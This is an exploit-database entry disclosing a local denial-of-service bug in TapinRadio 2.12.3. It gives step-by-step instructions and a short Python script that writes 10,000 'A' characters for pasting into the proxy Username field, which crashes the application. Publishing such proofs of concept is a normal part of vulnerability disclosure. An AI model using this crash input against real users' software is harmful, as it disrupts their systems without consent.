TapinRadio 2.12.3 - 'username' Denial of Service (PoC)

Author: chuyreds
type: dos
platform: windows
port: 
date_added: 2020-02-06 
date_updated: 2020-02-06 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: TapinRadio 2.12.3 - 'username' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: http://www.raimersoft.com/rarmaradio.html
# Software Link : http://www.raimersoft.com/downloads/tapinradio_setup_x64.exe
# Tested Version: 2.12.3
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: tapinadio_user.py
#2.- Open tapin_user.txt and copy content to clipboard
#3.- Open TapinRadio
#4.- Select "Settings" > "Preferences" > "Miscellaneous"
#5.- Select "Set Application Proxy..."" In "Username" field paste Clipboard
#6.- In Server type "1.1.1.1" > Port type 444  > Password type "1234"
#7.- Select "OK" and "OK"
#8.- Crashed

cod = "\x41" * 10000

f = open('tapin_user.txt', 'w')
f.write(cod)
f.close()